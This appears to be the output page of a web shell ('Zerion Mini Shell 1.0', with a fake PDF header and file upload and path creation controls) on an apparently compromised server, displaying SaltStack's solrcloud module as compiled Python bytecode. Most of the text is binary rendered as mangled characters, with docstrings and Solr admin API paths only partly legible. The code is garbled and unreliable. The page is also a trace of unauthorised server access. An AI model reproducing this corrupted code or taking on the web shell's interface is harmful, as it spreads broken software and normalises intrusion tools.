%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/modules/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/modules/solrcloud.pyo

�
���^c
@@s�dZddlmZmZmZddlZddlmZddlj	j
Z
ddlmZej
e�Zdddd	d
ddd
ddg
ZddgZdddddgZdddgZddgZddgZd
gZddddddgZd�Zdd �Zd!�Zd"�Zd#�Zd$�Zd%�Zd&�Zdd'�Z!d(�Z"d)�Z#d*�Z$dd+�Z%dd,�Z&dd-�Z'd.�Z(d/�Z)d0�Z*dS(1u�
Module for solrcloud configuration

.. versionadded:: 2017.7.0

For now, module is limited to http-exposed API. It doesn't implement config upload via Solr zkCli
i(tabsolute_importtunicode_literalstprint_functionN(tSaltInvocationError(tsixuconfiguschemaudataDiru	configSetu
propertiesucoreNodeNameuulogDirushardu
collectionurolesu	transientu
loadOnStartupucollection.configNameurouter.fielduasyncuruleusnitchu	numShardsureplicationFactorumaxShardsPerNodeuautoAddReplicasucreateNodeSet.shuffleushardsu
createNodeSetcC@sdS(Nu	solrcloud((((s:/usr/lib/python2.7/site-packages/salt/modules/solrcloud.pyt__virtual__/suhttp://localhost:8983/solr/cK@s�t|tj�s!td��n|ddkr>|d}ntj||dddtdt|�}d|kr�|d	d
kr�tdjd|d
|���q�tdjdtj	|d	�d|d
|d|d���n|dSdS(u�

    Internal function to query solrcloud

    :param url: relative solr URL
    :param solr_url: solr base URL
    :param kwargs: additional args passed to http.query call
    :return: Query JSON answer converted to python dict
    :rtype: dict

    usolr_url must be a stringi����u/tdecode_typeujsontdecodetraise_erroruerrorustatusi�uUGot a 404 when trying to contact solr at {solr_url}{url}. Please check your solr URL.tsolr_urlturlu;Got a {status} error when calling {solr_url}{url} : {error}tstatusterrorudictN(
t
isinstanceRtstring_typest
ValueErrorthttptquerytTrueRtformatt	text_type(R
R	tkwargstquery_result((s:/usr/lib/python2.7/site-packages/salt/modules/solrcloud.pyt_query3s"

(		cC@s�d}x�tj|�D]�\}}|tkryt|t�sTtd|d��n|d|d|rodnd}q|tkr�t|tj�s�td|d	��n|d|d|}q|dtj|�dtj|�}qW|S(
u9

    Internal function to validate core properties

    uuOption "u" value must be an booleanu
&property.u=utrueufalseu'In option "properties", core property "u" value must be a string(	Rt	iteritemstBOOL_PROPS_LISTR
tboolRtSTRING_PROPS_LISTRR(t
propertiestprops_stringt	prop_namet
prop_value((s:/usr/lib/python2.7/site-packages/salt/modules/solrcloud.pyt_validate_core_properties[s%,cC@s�d}x�tj|�D]�\}}|tkrpt|tj�sWtd|d��n|d|d|}q|tkr�t|tj�s�td|d��n|d|dtj|�}q|t	krt|t
�s�td|d��n|d|d|rdnd	}q|tkrrt|t�sPtd|d
��n|d|ddj
|�}q|tkr�t|t�s�td|d��n|t|�}qtd
|d��qW|S(u=

    Internal function to validate collections options

    uuOption "u" value must be a stringu&u=u" value must be an intu" value must be an booleanutrueufalseu!" value must be a list of stringsu, u" value must be an dictuUnknown option "u"(RRtSTRING_OPTIONS_LISTR
RRtINT_OPTIONS_LISTt
integer_typesRtBOOL_OPTIONS_LISTRtLIST_OPTIONS_LISTtlisttjointDICT_OPTIONS_LISTtdictR (toptionstoptions_stringtoption_nametoption_value((s:/usr/lib/python2.7/site-packages/salt/modules/solrcloud.pyt_validate_collection_optionsvs0"%"cC@stS(u�

    Get collection option list that can only be defined at creation

    CLI Example:

    .. code-block:: bash

        salt '*' solrcloud.collection_creation_options
    (tCREATION_ONLY_OPTION(((s:/usr/lib/python2.7/site-packages/salt/modules/solrcloud.pytcollection_creation_options�scK@std|�dS(u�

    Get cluster status

    Additional parameters (kwargs) may be passed, they will be proxied to http.query

    CLI Example:

    .. code-block:: bash

        salt '*' solrcloud.cluster_status
    u.admin/collections?action=CLUSTERSTATUS&wt=jsonucluster(R(R((s:/usr/lib/python2.7/site-packages/salt/modules/solrcloud.pytcluster_status�scK@sGt|tj�s!td��nt|�}d|koF||dkS(u�

    Check alias existence

    Additional parameters (kwargs) may be passed, they will be proxied to http.query

    CLI Example:

    .. code-block:: bash

        salt '*' solrcloud.alias_exists my_alias
    uAlias name must be a stringualiases(R
RRRR1(t
alias_nameRtcluster((s:/usr/lib/python2.7/site-packages/salt/modules/solrcloud.pytalias_exists�scK@s�t|tj�s!td��ngtjt|�d�D].}d|dkr;|d|ddf^q;}gg|D]}||dkry|^qyD]}|d^q�}|S(u�

    Get collection list for an alias

    Additional parameters (kwargs) may be passed, they will be proxied to http.query

    CLI Example:

    .. code-block:: bash

        salt '*' solrcloud.alias_get my_alias
    uAlias name must be a stringucollectionsualiasesii(R
RRRRR1(R2Rtk_vtcollection_aliasestk_v1taliases((s:/usr/lib/python2.7/site-packages/salt/modules/solrcloud.pytalias_get_collections�s.@cK@sxt|t�std��nx/|D]'}t|tj�s%td��q%q%Wtdjd|ddj|��|�S(u�

    Define an alias

    Additional parameters (kwargs) may be passed, they will be proxied to http.query

    CLI Example:

    .. code-block:: bash

        salt '*' solrcloud.alias_set my_alias collections=[collection1, colletion2]
    uJCollection parameter must be defined and contain a list of collection nameu Collection name must be a stringuSadmin/collections?action=CREATEALIAS&name={alias}&wt=json&collections={collections}taliastcollectionsu, (	R
R&RRRRRRR'(R2R;Rt
collection((s:/usr/lib/python2.7/site-packages/salt/modules/solrcloud.pytalias_set_collections�s
	cK@stdjd|�|�dS(u�

    Check if a collection exists

    Additional parameters (kwargs) may be passed, they will be proxied to http.query

    CLI Example:

    .. code-block:: bash

        salt '*' solrcloud.collection_reload collection_name

    u9admin/collections?action=RELOAD&name={collection}&wt=jsonR<N(RR(R<R((s:/usr/lib/python2.7/site-packages/salt/modules/solrcloud.pytcollection_reloadscK@std|�dS(u�

    List all collections

    Additional parameters (kwargs) may be passed, they will be proxied to http.query

    CLI Example:

    .. code-block:: bash

        salt '*' solrcloud.collection_list

    u%admin/collections?action=LIST&wt=jsonucollections(R(R((s:/usr/lib/python2.7/site-packages/salt/modules/solrcloud.pytcollection_list$scK@s1t|tj�s!td��n|t|�kS(u�

    Check if a collection exists

    Additional parameters (kwargs) may be passed, they will be proxied to http.query

    CLI Example:

    .. code-block:: bash

        salt '*' solrcloud.collection_exists collection_name

    u Collection name must be a string(R
RRRR?(tcollection_nameR((s:/usr/lib/python2.7/site-packages/salt/modules/solrcloud.pytcollection_exists6scK@skt||�std��n|dk	r<dj|�}nd}tdjd|d|d|�|�dS(	u�

    Create a backup for a collection.

    Additional parameters (kwargs) may be passed, they will be proxied to http.query

    CLI Example:

    .. code-block:: bash

        salt '*' solrcloud.core_backup collection_name /mnt/nfs_backup
    uCollection doesn't existsu	&name={0}uuP{collection}/replication?command=BACKUP&location={location}{backup_name}&wt=jsonR<tbackup_nametlocationN(RARtNoneRR(R@RCRBR((s:/usr/lib/python2.7/site-packages/salt/modules/solrcloud.pytcollection_backupKsc	K@smxft|�D]X}|dk	r:djd|d|�}nd}tdjd|d|d|�|�q
WdS(	u�

    Create a backup for all collection present on the server.

    Additional parameters (kwargs) may be passed, they will be proxied to http.query

    CLI Example:

    .. code-block:: bash

        salt '*' solrcloud.core_backup /mnt/nfs_backup
    u&name={backup}.{collection}tbackupR<uuP{collection}/replication?command=BACKUP&location={location}{backup_name}&wt=jsonRBRCN(R?RDRR(RCRBRR@((s:/usr/lib/python2.7/site-packages/salt/modules/solrcloud.pytcollection_backup_allhscK@sX|dkri}nt|t�s3td��nt|�}td|||�dS(uY

    Create a collection,

    Additional parameters (kwargs) may be passed, they will be proxied to http.query

    CLI Example:

    .. code-block:: bash

        salt '*' solrcloud.collection_create collection_name

    Collection creation options may be passed using the "options" parameter.
    Do not include option "name" since it already specified by the mandatory parameter "collection_name"

    .. code-block:: bash

        salt '*' solrcloud.collection_create collection_name options={"replicationFactor":2, "numShards":3}

    Cores options may be passed using the "properties" key in options.
    Do not include property "name"

    .. code-block:: bash

        salt '*' solrcloud.collection_create collection_name options={"replicationFactor":2, "numShards":3,             "properties":{"dataDir":"/srv/solr/hugePartitionSollection"}}
    u&options parameter must be a dictionaryu-admin/collections?action=CREATE&wt=json&name=N(RDR
R)RR.R(R@R*RR+((s:/usr/lib/python2.7/site-packages/salt/modules/solrcloud.pytcollection_create�s	cC@s+yt|�tSWntk
r&tSXdS(u�
    Check collections options

    CLI Example:

    .. code-block:: bash

        salt '*' solrcloud.collection_check_options '{"replicationFactor":4}'
    N(R.RRtFalse(R*((s:/usr/lib/python2.7/site-packages/salt/modules/solrcloud.pytcollection_check_options�s


cK@s�t|�}i|d|dd6|d|ddd6t|d|d�d6t|d|d�d6|d|d	tkd	6}d
|d|kr�|d|d
|d
<nd|d|kr�|d|d
|d<n|S(u�
    Get collection options

    Additional parameters (kwargs) may be passed, they will be proxied to http.query

    CLI Example:

    .. code-block:: bash

        salt '*' solrcloud.collection_get_options collection_name
    ucollectionsu
configNameucollection.configNameurouterunameurouter.nameureplicationFactorumaxShardsPerNodeuautoAddReplicasuruleusnitch(R1tintR(R@RR3R*((s:/usr/lib/python2.7/site-packages/salt/modules/solrcloud.pytcollection_get_options�s
cK@sex=t|j��D])}|tkrtd|d��qqWt|�}td|||�dS(uT
    Change collection options

    Additional parameters (kwargs) may be passed, they will be proxied to http.query

    Note that not every parameter can be changed after collection creation

    CLI Example:

    .. code-block:: bash

        salt '*' solrcloud.collection_set_options collection_name options={"replicationFactor":4}
    uOption u- can't be modified after collection creation.u=admin/collections?action=MODIFYCOLLECTION&wt=json&collection=N(R&tkeysR/RR.R(R@R*RtoptionR+((s:/usr/lib/python2.7/site-packages/salt/modules/solrcloud.pytcollection_set_options�s
(+t__doc__t
__future__RRRtloggingtsalt.exceptionsRtsalt.utils.httptutilsRtsalt.extRt	getLoggert__name__tlogRRR!R"R$R%R(R/RRR R.R0R1R4R9RDR=R>R?RARERGRHRJRLRO(((s:/usr/lib/python2.7/site-packages/salt/modules/solrcloud.pyt<module>sD		(		-							(		

Zerion Mini Shell 1.0